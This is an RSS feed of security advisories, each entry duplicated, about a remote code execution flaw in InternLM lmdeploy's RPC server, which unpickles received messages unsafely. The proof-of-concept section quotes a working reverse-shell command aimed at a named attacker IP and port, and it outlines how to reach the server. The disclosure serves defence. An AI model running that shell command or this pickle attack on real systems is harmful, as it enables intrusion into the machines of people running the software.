https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Fri, 02 Oct 2026 23:22:30 +0000 https://cve.radiocsirt.org/vuln/cve-2025-59953 <p><strong>Affected:</strong> InternLM lmdeploy</p> <p>LMDeploy is a toolkit for compressing, deploying, and serving large language models. Starting in version 0.9.1 and prior to version 0.10.2, the LMdeploy implements an rpc server (AsyncRPCServer in zmq_rpc.py) for supporting the RPC communications. In its core functionality call_and_response(), I found it will directly use the pickles.loads() to deserialize the received messages without any sanitization, hence resulting in a remote code execution vulnerability by this RPC server. Version 0.10.2 contains a patch.</p> <p><strong>Affected:</strong> InternLM lmdeploy</p> <p>LMDeploy is a toolkit for compressing, deploying, and serving large language models. Starting in version 0.9.1 and prior to version 0.10.2, the LMdeploy implements an rpc server (AsyncRPCServer in zmq_rpc.py) for supporting the RPC communications. In its core functionality call_and_response(), I found it will directly use the pickles.loads() to deserialize the received messages without any sanitization, hence resulting in a remote code execution vulnerability by this RPC server. Version 0.10.2 contains a patch.</p> https://cve.radiocsirt.org/vuln/cve-2025-59953 https://cve.radiocsirt.org/vuln/ghsa-5h8j-6crg-7rmw <p><strong>Affected:</strong> PyPI: lmdeploy</p> <p>### Description</p> <p>The LMdeploy implements an rpc server (AsyncRPCServer in zmq_rpc.py) for supporting the RPC communications. In its core functionality call_and_response(), I found it will directly use the pickles.loads() to deserialize the received messages without any sanitization, hence resulting in a remote code execution vulnerability by this RPC server.</p> <p>### Proof of Concept</p> <p>* Step1: The victim user starts a RPC server that connects to its network interface. We give our example code (server.py) in the attachment, you can reproduce directly with server.py.</p> <p>* Step2: The attacker can then send malicious pickle dump data to the remote RPC address for the attack. We give a example to show how can an attacker acquire a command shell: &lt;img width=&#34;832&#34; height=&#34;324&#34; alt=&#34;image&#34; src=&#34;https://github.com/user-attachments/assets/03b9654d-e25b-4e93-903a-2aae8b12e704&#34; /&gt;</p> <p>In this example, attacker modifies AsyncRPCClient and send a request containing malicious pickle dump data to let the victim execute command “bash -c ‘bash -i &gt;&amp; /dev/tcp/202.112.47.27/4444 0&gt;&amp;1’”, where 202.112.47.27 is an attacker’s server. Two points require special attention: 1.The client code originally only connects to localhost over a socket, but an attacker can easily change localhost to another IP to perform remote exploitation, because the RPC server does not validate the connecting IP. 2.The RPC server’s port is randomized, but an attacker can still scan ports to find and exploit it; in our demo we expl…</p> <p><strong>Affected:</strong> PyPI: lmdeploy</p> <p>### Description</p> <p>The LMdeploy implements an rpc server (AsyncRPCServer in zmq_rpc.py) for supporting the RPC communications. In its core functionality call_and_response(), I found it will directly use the pickles.loads() to deserialize the received messages without any sanitization, hence resulting in a remote code execution vulnerability by this RPC server.</p> <p>### Proof of Concept</p> <p>* Step1: The victim user starts a RPC server that connects to its network interface. We give our example code (server.py) in the attachment, you can reproduce directly with server.py.</p> <p>* Step2: The attacker can then send malicious pickle dump data to the remote RPC address for the attack. We give a example to show how can an attacker acquire a command shell: &lt;img width=&#34;832&#34; height=&#34;324&#34; alt=&#34;image&#34; src=&#34;https://github.com/user-attachments/assets/03b9654d-e25b-4e93-903a-2aae8b12e704&#34; /&gt;</p> <p>In this example, attacker modifies AsyncRPCClient and send a request containing malicious pickle dump data to let the victim execute command “bash -c ‘bash -i &gt;&amp; /dev/tcp/202.112.47.27/4444 0&gt;&amp;1’”, where 202.112.47.27 is an attacker’s server. Two points require special attention: 1.The client code originally only connects to localhost over a socket, but an attacker can easily change localhost to another IP to perform remote exploitation, because the RPC server does not validate the connecting IP. 2.The RPC server’s port is randomized, but an attacker can still scan ports to find and exploit it; in our demo we expl…</p> https://cve.radiocsirt.org/vuln/ghsa-5h8j-6crg-7rmw